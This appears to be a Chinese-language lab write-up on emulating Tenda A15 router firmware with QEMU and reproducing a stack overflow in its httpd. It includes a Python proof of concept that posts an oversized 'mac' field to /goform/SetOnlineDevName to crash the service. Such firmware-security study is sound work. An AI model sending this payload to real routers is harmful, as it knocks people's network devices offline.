Tenda A15 固件模拟与漏洞复现
环境检测
1 2 3 4 5 6 7 8 9 10 11 12 13
| echo "--- 1. 固件解包工具检测 ---" which sasquatch
echo -e "\n--- 2. QEMU 模拟环境检测 ---" qemu-mipsel-static --version qemu-system-mipsel --version
echo -e "\n--- 3. 调试工具检测 ---" gdb-multiarch --version
echo -e "\n--- 4. 网络与依赖服务检测 ---" brctl show systemctl is-active rpcbind
|

固件解包
固件下载地址
提取固件
1
| binwalk -Me US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin
|
终端会滚动输出很多信息,并且在当前目录下会生成一个以 _固件名.extracted 结尾的新文件夹,里面包含一个 squashfs-root 目录。这就是路由器里的完整 Linux 文件系统了!
查看程序信息

将 x86 架构下的 MIPS 翻译器(QEMU)复制到当前假根目录中:
1
| cp $(which qemu-mipsel-static) .
|
使用 chroot 将当前目录作为根目录,启动 httpd 服务
1
| sudo chroot . ./qemu-mipsel-static ./bin/httpd
|

没反应,ip地址错误,没有布置监听
文件系统修补
在真实的 IoT 设备中,根文件系统(也就是提取出来的 squashfs)通常是只读的(Read-Only)。
但是,httpd 服务在运行时,必须生成一些动态数据,比如:
- 记录当前进程号的 PID 文件
- 用户的 Session 缓存、临时上传的配置文件。
- 运行时的网络状态(
/var/run)。
真实路由器的做法:在系统刚通电开机时,操作系统的启动脚本(init)会在内存中划分出一块区域(tmpfs,也就是内存虚拟盘),然后把 /var、/tmp 等需要频繁读写的目录挂载到这个内存盘上。接着,它会把出厂默认的配置文件(存放在以 _ro 即 Read-Only 结尾的目录里)复制到真正的运行目录中。
我们的模拟环境:提取出的 squashfs-root 只是固件在关机状态下的静态文件。它缺少了开机时动态创建的那些目录,而且真正的配置文件还在 etc_ro 里睡大觉,真正的网页文件还在 webroot_ro 里。
在目录etc_ro中有init.d目录,其中的文件就是启动项,但是不能直接去启动它,因为它包含 mount -t ramfs 等命令会因为权限问题报错并且/sbin、/etc 等绝对路径与实际不符合
更改方法
照抄 rcS 的 mkdir 动作
执行 rcS 里的文件拷贝:把 etc_ro 和 webroot_ro 里的资源部署到位。
加入 strace 发现的补丁:加上 /proc、/sys、/dev 的 mount 动作。
下图是etc_ro中有init.d的rcS的内容

1 2 3 4 5 6 7 8 9 10 11 12 13 14
| #!/bin/sh mkdir -p ./var/etc mkdir -p ./var/media mkdir -p ./var/webroot mkdir -p ./var/etc/iproute mkdir -p ./var/run mkdir -p ./var/etc/udhcpc mkdir -p ./var/debug mkdir -p ./dev/pts mkdir -p ./var/ppp mkdir -p ./tmp
cp -rf ./etc_ro/* ./var/etc/ cp -rf ./webroot_ro/* ./var/webroot
|
挂载(Mount):给程序装上“传感器,proc、sys、dev ,路由器程序(httpd)运行的时候,会去 /proc 里看系统状态。如果不挂载,它看到的文件夹就是空的,它会觉得自己跑在一个“死掉”的系统里,然后直接报错退出。
1 2 3
| sudo mount -t proc /proc ./proc sudo mount -t sysfs /sys ./sys sudo mount --bind /dev ./dev
|
软链接
1
| sudo ln -snf ./var/webroot ./webroot
|
网卡接口配置
为了“伪造”出路由器程序赖以生存的硬件环境,并打通与该程序之间的通信链路,让固件正常运行,我们必须在 Linux 内核中伪造出它所需的网络拓扑
静态分析看到应该是br0和80端口

1 2 3
| sudo brctl addbr br0 sudo ip addr add 192.168.0.1/24 dev br0 sudo ip link set br0 up
|
然后再次执行
1
| sudo chroot . ./qemu-mipsel-static ./bin/httpd
|

漏洞静态分析
initWebs是初始话web界面,并根据提交表单调用相应功能

API 路由表
websFormDefine(“前端名字”, 后端C函数名)

大佬的说要多关注带有set的功能,因为大多数是需要接受前端数据,进行设置操作的,因此存在较高的安全风险


分析处理SetOnlineDevName 请求的formSetDeviceName 函数,其中的set_device_name发现漏洞
没有对字符串长度校验,使用sprintf会造成栈溢出漏洞导致程序崩溃
在常规 Pwn 题里,接收输入的是 read(0, buf, size) 或者 gets(buf),直接从标准输入流读。
而在 Tenda 路由器的 formSetDeviceName 函数里,它绝对不会调用 scanf 或 read 等待你输入。websFormHandler 会把 HTTP POST 请求全部接收完毕,并解析成了内存里的一个字典结构
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests from pwn import cyclic
ip = '192.168.0.1' # 填网桥 IP url = f'http://{ip}/goform/SetOnlineDevName'
# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针! payload = { "mac": cyclic(4000), "devName": "devname1" }
print("[*] 正在发送 4000 字节的终极探针...") try: requests.post(url=url , data=payload, timeout=2) except Exception: print("[+] 目标已彻底断开,绝对当场暴毙!")
|

但是运行结果非预期,程序并没有崩溃,还打印了信息device name setted failed!和set device name error!
在ida中追踪发现是调用tpi_set_mac_info失败

可以用IDA进行patch,直接把跳转指令nop掉就达到我们的目的了


之后再运行就可以了

系统模拟对比
系统级模拟(System-mode Emulation)相当于在 Kali 里用 VMware 跑了一个完整的虚拟机。
| 对比维度 |
用户态模拟 (qemu-user-static) |
全系统模拟 (qemu-system) |
| 模拟层级 |
仅模拟 CPU 指令集和系统调用 |
模拟整个硬件平台(CPU、总线、外设) |
| 运行对象 |
单个二进制 ELF 文件(如 httpd) |
完整的操作系统(Kernel + 文件系统) |
| 真实度 (Fidelity) |
较低。极易遇到 NVRAM 缺失、IPC 通信失败的问题 |
极高。几乎等同于一台真实的物理路由器 |
| 资源消耗与速度 |
极低,启动秒开,非常适合快速跑 Fuzzing |
较高,需要完整的开机自检,启动耗时 |
| 网络环境 |
默认共享 Kali 的本地网络(127.0.0.1 极其方便) |
需要配置复杂的虚拟网卡(TAP/TUN/br0)来进行桥接 |
| 应用场景 |
快速验证溢出漏洞、逆向分析单一函数的算法 |
测算真实偏移量、编写完整 RCE Exploit、研究内核提权 |
| 维度 |
用户态模拟 (User-mode) |
系统级模拟 (System-mode) |
| 定位 |
微观: 死磕某个具体的二进制程序(如 httpd) |
宏观: 运行整个固件系统,看整体效果 |
| 优势 |
快、纯净、调试极方便。 配合 pwndbg 就像在本地调试一样顺滑。 |
真实。 网络、内核、文件系统环境完整,不需要手动补齐依赖。 |
| 痛点 |
硬件缺失。 经常会因为找不到 NVRAM 或特定的硬件驱动而崩溃。 |
重、慢、坑多。 配置网络桥接和内核非常折磨人。 |
| 适用场景 |
编写 Exploit (Pwn): 构造 ROP 链、计算偏移、调试内存。 |
漏洞搜索: 用 Burp Suite 抓包、分析 Web 逻辑、验证最终利用。 |
我们在用户态成功运行的基础上继续执行,在ubuntu中造出一块虚拟网卡和两块虚拟测试板,让它们能和 QEMU 里的 MIPS 虚拟机互相“打通”。
宿主机配置虚拟网卡
系统态 QEMU 启动后是一个完全独立的黑盒,我们需要在ubuntu上拉一根“虚拟网线(tap0)”连到虚拟机上。
1 2 3
| sudo ip tuntap add dev tap0 mode tap# 创建 tap0 虚拟网卡 sudo ip link set tap0 up sudo ip addr add 10.10.10.1/24 dev tap0# 给ubuntu配置一个 IP (作为虚拟机的网关)
|
现在复现的是 Tenda A15,它的芯片是 MIPS 小端序 (mipsel)。所以需要寻找支持 mipsel 架构的内核和镜像
1 2 3
| wget https://people.debian.org/~aurel32/qemu/mipsel/vmlinux-3.2.0-4-4kc-malta# 下载内核 # 下载磁盘镜像 wget https://people.debian.org/~aurel32/qemu/mipsel/debian_wheezy_mipsel_standard.qcow2
|
按下虚拟 MIPS 电脑的电源键
1 2 3 4 5 6 7 8
| sudo qemu-system-mipsel \ -M malta \ -nographic \ -kernel vmlinux-3.2.0-4-4kc-malta \ -hda debian_wheezy_mipsel_standard.qcow2 \ -net nic,macaddr=52:54:00:12:34:56 \ -net tap,ifname=tap0,script=no,downscript=no \ -append "root=/dev/sda1 console=ttyS0"
|
| 参数 |
相当于组装电脑时的… |
mipsel |
选一个 MIPS 的 CPU |
-M malta |
选一块 Malta 牌主板 |
-kernel |
给 CPU 加载指令集(灵魂) |
-hda |
插上一块装好系统的硬盘 |
-net tap |
插上一根连接 Kali 的网线 |
console=ttyS0 |
把显卡线插到串口监视器上 |
滚动停止后,会出现:
1
| Debian GNU/Linux 7 debian-mipsel ttyS0` `debian-mipsel login:
|
这时请输入:
配置虚拟机内部网络,把网络打通并伪造网桥:
1 2 3 4 5 6 7 8
| # 1. 给虚拟机的 eth0 配置 IP,连接你的 Kali (10.10.10.1) ip addr add 10.10.10.2/24 dev eth0 ip link set eth0 up
# 2. 伪造 Tenda 固件找的 br0 ip link add br0 type dummy ip addr add 10.10.10.3/24 dev br0 ip link set br0 up
|
因为虚拟机现在是空的,我们需要从的宿主机把 squashfs-root 传过去。
在宿主机
1 2 3 4 5 6
| # 进入上一级目录,把 squashfs-root 打包 cd ~/De/pwn_work/_US_A15V1.0RTL_V15.13.07.13_multi_TD01.bin.extracted/ # 排除掉那个巨大的镜像文件,只打包固件 tar -zcvf rootfs.tar.gz --exclude='*.qcow2' squashfs-root/ python3 -m http.server 8000#把当前目录变成一个微型网站。 #效果: 运行后,任何人只要访问的 IP (10.10.10.1) 和 8000 端口,就能看到并下载这个目录下的文件。
|
在虚拟机终端:
1 2 3
| wget http://10.10.10.1:8000/rootfs.tar.gz tar -zxvf rootfs.tar.gz cd squashfs-root/
|
虚拟机:挂载并启动
在虚拟机终端继续执行:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16
| cd squashfs-root # 挂载传感器 mount -t proc /proc ./proc mount -t sysfs /sys ./sys mount --bind /dev ./dev
# 模拟路由器的“开机启动” mkdir -p ./var/run ./var/etc ./var/webroot ./etc cp -rf ./etc_ro/* ./etc/ cp -rf ./etc_ro/* ./var/etc/ cp -rf ./webroot_ro/* ./var/webroot # 补上那个关键软链接 ln -snf ./var/webroot ./webroot
# 设置根目录启动 httpd chroot . ./bin/httpd
|
脚本要把ip地址改一下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
| import requests from pwn import cyclic
ip = '10.10.10.3' # 填网桥 IP url = f'http://{ip}/goform/SetOnlineDevName'
# 结合优势:攻击 mac 字段,并使用 4000 字节的超大探针! payload = { "mac": cyclic(4000), "devName": "devname1" }
print("[*] 正在发送 4000 字节的终极探针...") try: requests.post(url=url , data=payload, timeout=2) except Exception: print("[+] 目标已彻底断开,绝对当场暴毙!")
|

最后再放一个模板
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69
| #!/bin/bash # ============================================== # QEMU MIPSEL Debian Squeeze 虚拟机安装脚本(带校验功能) # 适用于嵌入式开发/逆向工程环境搭建 # ==============================================
# 配置参数 WORK_DIR="debian-mipsel-qemu" IMAGE_FILE="debian_squeeze_mipsel_standard.qcow2" KERNEL_FILE="vmlinux-2.6.32-5-4kc-malta" START_SCRIPT="start.sh"
# 1. 创建工作目录(如果不存在) if [ ! -d "$WORK_DIR" ]; then echo "创建目录 $WORK_DIR..." mkdir -p "$WORK_DIR" fi
cd "$WORK_DIR" || { echo "无法进入目录 $WORK_DIR"; exit 1; }
# 2. 下载镜像文件(如果不存在) download_file() { local url=$1 local file=$2 if [ ! -f "$file" ]; then echo "正在下载 $file..." wget "$url" -O "$file" || { echo "下载失败"; exit 1; } else echo "$file 已存在,跳过下载" fi }
download_file "https://people.debian.org/~aurel32/qemu/mipsel/$IMAGE_FILE" "$IMAGE_FILE" download_file "https://people.debian.org/~aurel32/qemu/mipsel/$KERNEL_FILE" "$KERNEL_FILE"
# 3. 生成或覆盖启动脚本 echo "生成启动脚本..." cat > "$START_SCRIPT" << 'EOF' #!/bin/bash sudo qemu-system-mipsel \ -nographic \ -M malta \ -kernel vmlinux-2.6.32-5-4kc-malta \ -hda debian_squeeze_mipsel_standard.qcow2 \ -net nic,macaddr=52:54:00:12:34:56 \ -net tap,ifname=tap0,script=no,downscript=no \ -append "root=/dev/sda1 console=tty0" EOF chmod +x "$START_SCRIPT"
# 4. 检查是否所有文件都已准备就绪 required_files=("$IMAGE_FILE" "$KERNEL_FILE" "$START_SCRIPT") missing_files=()
for file in "${required_files[@]}"; do if [ ! -f "$file" ]; then missing_files+=("$file") fi done
if [ ${#missing_files[@]} -ne 0 ]; then echo "错误:以下文件缺失:" printf ' - %s\n' "${missing_files[@]}" exit 1 fi
# 5. 启动虚拟机 echo "正在启动QEMU虚拟机..." ./"$START_SCRIPT"
|